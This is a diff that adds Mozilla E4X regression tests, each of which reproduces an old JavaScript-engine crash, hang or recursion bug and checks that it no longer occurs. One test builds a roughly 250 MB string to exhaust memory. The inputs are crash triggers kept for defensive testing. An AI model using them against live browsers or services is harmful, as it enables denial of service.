+ * Contributor(s): Seno Aiko
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-313799.js';
+
+var summary = 'Do not crash on XMLListInitializer.child(0)';
+var BUGNUMBER = 313799;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var val = <><t/></>.child(0);
+
+TEST(1, expect, actual);
+TEST(2, 'xml', typeof val);
+
+END();
diff --git a/e4x/Regress/regress-318922.js b/e4x/Regress/regress-318922.js
new file mode 100755
index 0000000..e359339
--- /dev/null
+++ b/e4x/Regress/regress-318922.js
@@ -0,0 +1,108 @@
+/* -*- Mode: java; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2005
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Biju
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-318922.js';
+
+var summary = 'E4X - Do not crash on XML initializer <b{b}>';
+var BUGNUMBER = 318922;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var a, b, x;
+
+printStatus('b=2;a=<a><b{b}>x</b{b}></a>');
+b=2;
+a=<a><b{b}>x</b{b}></a>;
+TEST(1, expect, actual);
+
+printStatus('b="c"; a=<a><b {b}="c">x</b></a>; ');
+b="c";
+a=<a><b {b}="c">x</b></a>;
+TEST(2, expect, actual);
+
+try
+{
+ a='';
+ b='"';
+ eval('a=<a><b c={b}x">x</b></a>');
+}
+catch(e)
+{
+ printStatus(e);
+}
+TEST(3, expect, actual);
+
+try
+{
+ a='';
+ b='"';
+ eval('a=<a><b c="x{b}>x</b></a>');
+}
+catch(e)
+{
+ printStatus(e);
+}
+TEST(4, expect, actual);
+
+try
+{
+ a='';
+ b='x';
+ eval('a=<a><b c={b}"x">x</b></a>');
+}
+catch(e)
+{
+ printStatus(e);
+}
+TEST(5, expect, actual);
+
+try
+{
+ a='';
+ b='x';
+ eval('a=<a><b c="x"{b}>x</b></a>');
+}
+catch(e)
+{
+ printStatus(e);
+}
+TEST(6, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-319872.js b/e4x/Regress/regress-319872.js
new file mode 100755
index 0000000..c196c91
--- /dev/null
+++ b/e4x/Regress/regress-319872.js
@@ -0,0 +1,78 @@
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Georgi Guninski
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-319872.js';
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319872;
+var summary = 'Do not Crash in jsxml.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+printStatus ("Expect either no error, out of memory or catchable script stack " +
+ "space quota is exhausted error");
+expectExitCode(0);
+expectExitCode(3);
+expectExitCode(5);
+
+try
+{
+ var i,m,str;
+ str="<a xmlns:v=\"";
+ m="";
+
+ for (i=0;i<(1024*1024)/2;i++)
+ m += "\n";
+
+ for(i=0;i<500;i++)
+ str += m ;
+
+ str += "\">f00k</a>";
+
+ var xx = new XML(str);
+
+ printStatus(xx.toXMLString());
+}
+catch(ex)
+{
+ expect = 'InternalError: script stack space quota is exhausted';
+ actual = ex + '';
+ print(actual);
+}
+TEST(1, expect, actual);
diff --git a/e4x/Regress/regress-321547.js b/e4x/Regress/regress-321547.js
new file mode 100755
index 0000000..910a320
--- /dev/null
+++ b/e4x/Regress/regress-321547.js
@@ -0,0 +1,91 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Biju
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-321547.js';
+
+var summary = "Operator .. should not implicitly quote its right operand";
+var BUGNUMBER = 321547;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+function a(){
+ var x=<a><b><c>value c</c></b></a>;
+ return x..c;
+}
+
+actual = a.toString();
+expect = 'function a() {\n' +
+ ' var x = <a><b><c>value c</c></b></a>;\n' +
+ ' return x..c;\n' +
+ '}';
+actual = actual.replace(/[\n ]+/mg, ' ');
+expect = expect.replace(/[\n ]+/mg, ' ');
+
+TEST(1, expect, actual);
+
+actual = String(a.valueOf());
+expect = 'function a() {\n' +
+ ' var x = <a><b><c>value c</c></b></a>;\n' +
+ ' return x..c;\n' +
+ '}';
+actual = actual.replace(/[\n ]+/mg, ' ');
+expect = expect.replace(/[\n ]+/mg, ' ');
+
+TEST(3, expect, actual);
+
+actual = String(a);
+expect = 'function a() {\n' +
+ ' var x = <a><b><c>value c</c></b></a>;\n' +
+ ' return x..c;\n' +
+ '}';
+actual = actual.replace(/[\n ]+/mg, ' ');
+expect = expect.replace(/[\n ]+/mg, ' ');
+
+TEST(4, expect, actual);
+
+actual = a();
+expect = <c>value c</c>;
+actual = actual.replace(/[\n ]+/mg, ' ');
+expect = expect.replace(/[\n ]+/mg, ' ');
+
+TEST(5, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-322499.js b/e4x/Regress/regress-322499.js
new file mode 100755
index 0000000..9d94c09
--- /dev/null
+++ b/e4x/Regress/regress-322499.js
@@ -0,0 +1,72 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Brendan Eich
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-322499.js';
+
+var summary = "Do not define AnyName";
+var BUGNUMBER = 322499;
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+expect = 'ReferenceError';
+
+try
+{
+ AnyName;
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+
+TEST(1, expect, actual);
+
+try
+{
+ *;
+}
+catch(ex)
+{
+ actual = ex.name;
+}
+TEST(2, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-323338-1.js b/e4x/Regress/regress-323338-1.js
new file mode 100755
index 0000000..bc25b1f
--- /dev/null
+++ b/e4x/Regress/regress-323338-1.js
@@ -0,0 +1,75 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Franky Braem
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-323338-1.js';
+
+var summary = "Do not crash when qn->uri is null";
+var BUGNUMBER = 323338;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+testFunc();
+testFunc();
+
+function testFunc()
+{
+ var htmlXML =
+ <html>
+ <body>
+ <div>
+ <div id="summary" />
+ <div id="desc" />
+ </div>
+ </body>
+ </html>;
+ var childs = htmlXML.children();
+
+ var el = htmlXML.body.div..div.(function::attribute('id') == 'summary');
+ el.div += <div>
+ <strong>Prototype:</strong>
+ Test
+ <br />
+ </div>;
+}
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-323338-2.js b/e4x/Regress/regress-323338-2.js
new file mode 100755
index 0000000..d880e6f
--- /dev/null
+++ b/e4x/Regress/regress-323338-2.js
@@ -0,0 +1,52 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Seno Aiko
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-323338-2.js';
+
+var summary = "Do not crash when qn->uri is null";
+var BUGNUMBER = 323338;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+<x/>.(function::children());
+
+TEST(1, expect, actual);
+END();
diff --git a/e4x/Regress/regress-325425.js b/e4x/Regress/regress-325425.js
new file mode 100755
index 0000000..9dabc40
--- /dev/null
+++ b/e4x/Regress/regress-325425.js
@@ -0,0 +1,60 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Igor Bukanov
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-325425.js';
+
+var BUGNUMBER = 325425;
+var summary = 'jsxml.c: Bad assumptions about js_ConstructObject';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ QName = function() { };
+ <xml/>.elements("");
+}
+catch(ex)
+{
+ printStatus(ex + '');
+}
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-327564.js b/e4x/Regress/regress-327564.js
new file mode 100755
index 0000000..b93f8dc
--- /dev/null
+++ b/e4x/Regress/regress-327564.js
@@ -0,0 +1,78 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ * Brendan Eich
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-327564.js';
+
+var summary = "Hang due to cycle in XML object";
+var BUGNUMBER = 327564;
+var actual = 'No Cycle Detected';
+var expect = 'Error: cyclic XML value';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var p = <p/>;
+
+p.c = 1;
+
+var c = p.c[0];
+
+p.insertChildBefore(null,c);
+
+printStatus(p.toXMLString());
+
+printStatus('p.c[1] === c');
+TEST(1, true, p.c[1] === c);
+
+p.c = 2
+
+try
+{
+ c.appendChild(p)
+ // iloop here
+}
+catch(ex)
+{
+ actual = ex + '';
+ printStatus(actual);
+}
+
+TEST(2, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-327691-01.js b/e4x/Regress/regress-327691-01.js
new file mode 100755
index 0000000..5511f70
--- /dev/null
+++ b/e4x/Regress/regress-327691-01.js
@@ -0,0 +1,59 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-327691-01.js';
+
+var summary = "Do not crash in js_IsXMLName";
+var BUGNUMBER = 327691;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var A=<y/>;
+var B=A.h;
+var D=B.h;
+B.h=D.h;
+B[0]=B.h;
+
+B.h=D.h; // Crashes at js_IsXMLName.
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-327691-02.js b/e4x/Regress/regress-327691-02.js
new file mode 100755
index 0000000..0a6bc27
--- /dev/null
+++ b/e4x/Regress/regress-327691-02.js
@@ -0,0 +1,59 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-327691-02.js';
+
+var summary = "Do not crash during gc()";
+var BUGNUMBER = 327691;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+var A=<y/>;
+var B=A.h;
+var D=B.h;
+B.h=D.h;
+B[0]=B.h;
+
+gc();
+
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-327697.js b/e4x/Regress/regress-327697.js
new file mode 100755
index 0000000..c03496b
--- /dev/null
+++ b/e4x/Regress/regress-327697.js
@@ -0,0 +1,80 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-327697.js';
+
+var summary = "Make XPConnect refuse to wrap e4x";
+var BUGNUMBER = 327697;
+var actual = 'No Hang';
+var expect = 'No Hang';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+printStatus('This test runs in the browser only');
+
+function init()
+{
+ try
+ {
+ var sel = document.getElementsByTagName("select")[0];
+ sel.add(document.createElement('foo'), <bar/>);
+ }
+ catch(ex)
+ {
+ printStatus(ex + '');
+ }
+ TEST(1, expect, actual);
+ END();
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ document.write('<select></select>');
+ window.addEventListener("load", init, false);
+}
+else
+{
+ TEST(1, expect, actual);
+ END();
+}
+
diff --git a/e4x/Regress/regress-328249.js b/e4x/Regress/regress-328249.js
new file mode 100755
index 0000000..7a8a174
--- /dev/null
+++ b/e4x/Regress/regress-328249.js
@@ -0,0 +1,65 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * The Original Code is JavaScript Engine testing utilities.
+ *
+ * The Initial Developer of the Original Code is
+ * Mozilla Foundation.
+ * Portions created by the Initial Developer are Copyright (C) 2006
+ * the Initial Developer. All Rights Reserved.
+ *
+ * Contributor(s): Jesse Ruderman
+ *
+ * Alternatively, the contents of this file may be used under the terms of
+ * either the GNU General Public License Version 2 or later (the "GPL"), or
+ * the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
+ * in which case the provisions of the GPL or the LGPL are applicable instead
+ * of those above. If you wish to allow use of your version of this file only
+ * under the terms of either the GPL or the LGPL, and not to allow others to
+ * use your version of this file under the terms of the MPL, indicate your
+ * decision by deleting the provisions above and replace them with the notice
+ * and other provisions required by the GPL or the LGPL. If you do not delete
+ * the provisions above, a recipient may use your version of this file under
+ * the terms of any one of the MPL, the GPL or the LGPL.
+ *
+ * ***** END LICENSE BLOCK ***** */
+
+gTestfile = 'regress-328249.js';
+
+var summary = "Crash due to infinite recursion in js_IsXMLName";
+var BUGNUMBER = 328249;
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+START(summary);
+
+try
+{
+ var A = <x/>;
+ var B = A.p1;
+ var C = B.p2;
+ B.p3 = C;
+ C.p4 = B;
+ C.appendChild(B);
+ C.p5 = C;
+}
+catch(ex)
+{
+ printStatus(ex+'');
+}
+TEST(1, expect, actual);
+
+END();
diff --git a/e4x/Regress/regress-329257.js b/e4x/Regress/regress-329257.js
new file mode 100644
index 0000000..f50d113
--- /dev/null
+++ b/e4x/Regress/regress-329257.js
@@ -0,0 +1,71 @@
+/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
+
+/* ***** BEGIN LICENSE BLOCK *****
+ * Version: MPL 1.1/GPL 2.0/LGPL 2.1
+ *
